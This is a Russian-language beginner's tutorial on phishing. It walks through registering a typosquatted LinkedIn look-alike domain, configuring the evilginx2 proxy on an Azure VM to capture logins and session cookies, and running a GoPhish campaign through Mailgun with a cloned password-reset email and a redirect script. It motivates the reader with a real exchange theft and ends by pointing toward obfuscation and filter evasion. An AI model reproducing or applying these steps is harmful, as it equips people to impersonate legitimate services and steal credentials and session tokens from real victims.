Обучение фишингу в 2021 году новичку
Я постарался расписать этот мануал максимально простым языком, понятным каждому.
Что такое фишинг и зачем он тебе нужен?
1. Что такое фишинг?
Фишинг — это набор методик, которые используют хакеры, чтобы стащить личную информацию, например, какой-нибудь логин с паролем или данные кредитных карточек. Эти техники отличаются от других вариантов взлома подходом к взаимодействию с жертвой. Внедрение вирусов или DOS-атака зачастую направлены на программное обеспечение. Фишинг же завязан на контакте с живым человеком, который, в силу отсутствия навыков работы с компьютером или банальной наивности, сам подставится под хакера и выдаст ему что-то конфиденциальное.
2. Зачем он тебе нужен?
Например, в 2015 году европейская криптовалютная биржа Bitstamp лишилась почти девятнадцати тысяч биткойнов из-за фишинговых атак, продолжавшихся в течение пяти недель.
Все это время атакующие хакеры представлялись то журналистами, то хедхантерами, рассылая фишинговые письма каждый раз с новой легендой.
Думаю, что аргумент более чем внушительный. Поэтому давай начнем учиться.
Два направления фишинга
Процесс фишинга можно разделить на два направления:
- Фишинговый сайт: это поддельный, фальшивый сайт, на котором неосведомленный пользователь вводит свои учетные данные. Отсюда мы перехватываем указанные учетные данные вместе с их сессионными куки.
- Фишинговая почта: это письмо, которое будет отправлено жертве в надежде, что она клюнет на приманку и перейдет на наш поддельный сайт.
Фишинговый сайт
Инфраструктура и используемые инструменты
- Urlcrazy: инструмент, генерирующий домены с опечатками (такой процесс называется "тайпсквоттинг");
- Freenom: сервис для покупки свободного домена в целях тестирования/обучения;
- Evilginx2: "man-in-the-middle" прокси-сервер для создания фиш-сайта, который умеет перехватывать учетные данные.
- Бесплатная учетная запись Azure: Бесплатная стандартная виртуальная машина Azure для настройки всей инфраструктуры и инструментов.
Получение домена
Доменное имя должно быть убедительным и достаточно похожим на домен легального сайта. Можно использовать urlcrazy или catphish для создания списка доменов с опечатками.
❯ urlcrazy linkedin.com
Отмеченные домены - это примеры доменов с опечатками, из которых мы можем выбрать те, которые мы будем использовать. Все остальные уже используются другими "коллегами" ; )
Для демонстрации я собираюсь купить бесплатный домен у Freenom. Они предлагают бесплатные домены верхнего уровня .tk, .ml, ga, .cf, .gq.
Примечание: Freenom немного глючит, поэтому вам, возможно, придется написать весь домен с TLD в поиске, чтобы иметь возможность выбрать и положить его в корзину.
Теперь у нас есть фишинговый домен, по которому будет доступен наш сайт.
Получение фишинговой машины
Чтобы запустить evilginx2, man-in-the-middle HTTP-прокси, я использую виртуальную машину Azure B1S Standard tier VM под управлением Ubuntu 20.04 LTS, которую я получил бесплатно по подписке Azure for Students.
После создания ВМ откройте порты 80, 443 и 3333 для HTTP, HTTPS и GoPhish.
Добавление DNS-записей
Перейдите на страницу управления DNS в вашем домене Freenom и добавьте A-запись для WWW.
Настройка EvilGinx2
Сначала установите Go, следуя инструкциям здесь, и убедитесь, что вы добавили его в $PATH.
Затем, клонируйте репозиторий evilginx2; перейдите (cd) в каталог и создайте выполните команду make. Кроме того, добавьте бинарник evilginx2 в /usr/bin или /usr/local/bin и скопируйте каталоги phishlets и templates в /usr/share/evilginx, чтобы использовать инструмент из любого пути.
❯ git clone https://github.com/kgretzky/evilginx2.git ❯ cd evilginx2 ❯ make ❯ sudo cp bin/evilginx /usr/bin ❯ sudo cp -r phishlets/ /usr/share/evilginx/ ❯ sudo cp -r templates /usr/share/evilginx/
Запустите evilginx2. Если фишлеты были загружены успешно, вы увидете запуск инструмента.
Теперь отредактируйте конфигурацию, добавьте свой домен, IP и URL редиректа.
: config domain linkdin.tk [01:25:52] [inf] server domain set to: linkdin.tk : config ip 52.172.136.70 [01:25:59] [inf] server IP set to: 52.172.136.70 : config redirect_url https://xxxx.xxxx [02:02:52] [inf] unauthorized request redirection URL set to: https://xxxx.xxxx
Любые сканеры, сканирующие ваш домен без параметра lure, будут автоматически перенаправлены на redirect_url, который вы здесь указали.Нам также необходимо установить TLS-сертификат для нашего домена. К счастью, evilginx2 может сделать это за нас. Выполните следующие команды
: phishlets hostname linkedin linkdin.tk : phishlets enable linkedin
Создание приманки EvilGinx2
Следующая задача - создать приманку, которая будет представлять собой фишинговый URL, на который будут отправляться жертвы.
: lures create linkedin [04:31:37] [inf] created lure with ID: 1 : lures get-url 1 https://www.linkdin.tk/BMvzCciy
Нам также нужно добавить URL, на который будет перенаправлена жертва уже после входа в систему. Он отличается от config redirect_url, так как тот предназначен для сканеров и непреднамеренных пользователей, а этот - для жертв после входа в систему.
: lures edit 1 redirect_url https://www.linkedin.com/ [04:46:06] [inf] redirect_url = 'https://www.linkedin.com/'
После этого вы можете перейти на URL-адрес приманки, чтобы убедиться, что он исправно работает.
Если вы все сделали правильно, вы должны увидеть страницу входа в LinkedIn!
Поздравляем! Теперь у вас есть фишинговый сайт!
Примечание: Вы можете запустить evilginx2 в сессии tmux, чтобы при разрыве ssh-соединения инструмент продолжал работать.Фишинговая почта
Инфраструктура и используемые инструменты
- GoPhish: фреймворк для фишинга, используемый для управления пользователями, шаблонами электронных писем и фишинговыми кампаниями.
- Mailgun: почтовый сервис, используемый для отправки писем жертвам.
Установка GoPhish
GoPhish - это фишинговый фреймворк с открытым исходным кодом, который позволяет легко настраивать, запускать и отслеживать фишинговые кампании. Установите его, скачав бинариник для вашей системы отсюда, или соберите его вручную:
❯ go get github.com/gophish/gophish
Затем перейдите в каталог установки (обычно ~/go/src/github.com/gophish/gophish) и выполните go build. В вашей директории должен появиться бинарный файл с названием gophish. В этой же директории должен лежать config.json. Измените в нем listen_url с 127.0.0.1:3333 на 0.0.0.0:3333.
Теперь вы можете запустить сам фреймворк;
sudo ./gophish
Вероятно, вам следует запуститьgophishв той же сессии tmux, что иevilginx2
Временные учетные данные выводятся в логах. Перейдите по адресу https://[your-ip]:3333 и войдите в систему, используя их. Теперь вы находитесь в панели администратора GoPhish.
Настройка шаблона письма в GoPhish
Здесь мы устанавливаем и настраиваем электронное письмо, которое получит наша жертва. Чтобы создать убедительный шаблон письма, просмотрите свой собственный почтовый ящик и попытайтесь найти существующее письмо с сайта, который вы пытаетесь подделать. В моем примере я буду использовать письмо с подтверждением сброса пароля, которое я получил от LinkedIn.
Нажмите на кнопку опций с тремя точками и загрузите электронное письмо, которое вы хотите использовать в качестве шаблона.
Откройте файл, скопируйте его содержимое. Теперь перейдите на вкладку Email Templates и создайте новый шаблон. Нажмите на Import Email и вставьте сюда скопированное содержимое. По желанию, можно поставить галочку в чекбокс Change Links to Point to Landing Page. Это изменит все ссылки в письме так, чтобы они указывали на поддельную целевую страницу.
Теперь на вкладке HTML измените содержимое по своему вкусу.
Настройка целевой страницы в GoPhish
Посадочная страница - это то, на что вы хотите, чтобы пользователи "приземлялись" после того, как они нажмут на ссылку в электронном письме. Находясь в панели администратора GoPhish, перейдите в раздел Landing Pages и создайте новую страницу. Дайте ей название и добавьте следующее содержание страницы;
<html><head><script>
window.location.replace("<YOUR EVILGINX LURE URL");
</script>
</head><body></body></html>Это должно выглядеть примерно так:
Фишинговый сервер работает на http:[your-ip]:80. Это переменная шаблона для {{.URL}}. Когда жертва перейдет на эту страницу (по ссылке, которую ей будет предложено посетить), она будет перенаправлена на вашу приманку evilginx2.
Настройка профиля отправки с помощью GoPhish и Mailgun
Теперь, когда у нас есть фишинговое письмо, поддельный сайт и все инструменты, нам остается только отправить письмо. Для этого мы воспользуемся бесплатной учетной записью Mailgun. Создайте учетную запись в Mailgun и перейдите на вкладку отправки. Здесь, в разделе SMTP, вы увидите свои учетные данные для подключения по SMTP.
Также не забудьте добавить авторизованных получателей. Из-за бесплатного тарифа, только авторизованные пользователи могут получать электронные письма из вашей учетной записи Mailgun.
Теперь в Sending Profile на панели GoPhish создайте новый профиль и скопируйте сюда свои учетные данные, вместе с конфигурацией следующим образом.
Добавление пользователей в GoPhish
Вы должны добавить жертв в разделе Users & Groups. Перейдите в этот раздел, и вы увидите, что можете сделать это вручную или добавить массово из CSV.
Для демонстрации я буду отправлять письмо самому себе, поэтому я добавлю своего пользователя вручную.
Создание и запуск кампании
Все настройки GoPhish завершены! Теперь вам остается только создать новую кампанию в разделе кампаний, добавить все сделанные вами настройки и запустить ее!
Вполне вероятно, что ваше письмо будет помечено как фишинговое и перемещено в папку "Спам". Вы можете перейти по ссылке в письме, и заметите что-то вроде этого:
Нажмите кнопку продолжить и смотрите! evilginx2 начал регистрировать все данные нового посетителя (вас).
При вводе пароля вы видите, как evilginx2 перехватывает учетные данные и отображает их.
Выполнение команды sessions покажет вам все учетные данные пользователя и файлы cookie, которые вы захватили, хотя это не входит в наши текущие задачи.
Заключительные мысли
Поздравляю! Теперь вы знаете, как запустить фишинговую кампанию, при этом не потратив ни одного рубля! Ну, почти. Фишинговое письмо, конечно, скорее всего, попадет в спам, но этого можно избежать, используя другой домен и потратив немного денег на премиум-аккаунт Mailgun.
Обратите внимание, что это только начало пути в проведении фишинговых атак. Как только вы пойдете дальше, сложность увеличится. В игру вступают автоматизация, обфускация и обход различных фильтров.